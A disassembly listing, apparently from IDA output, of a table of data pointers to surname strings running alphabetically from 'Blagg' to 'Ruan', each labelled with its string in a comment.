		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner_0	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook_0	; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles_0	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField_0	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield_0	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson_0	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood_0	; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker_0	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry_0	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight_0	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda_0	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick_0	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
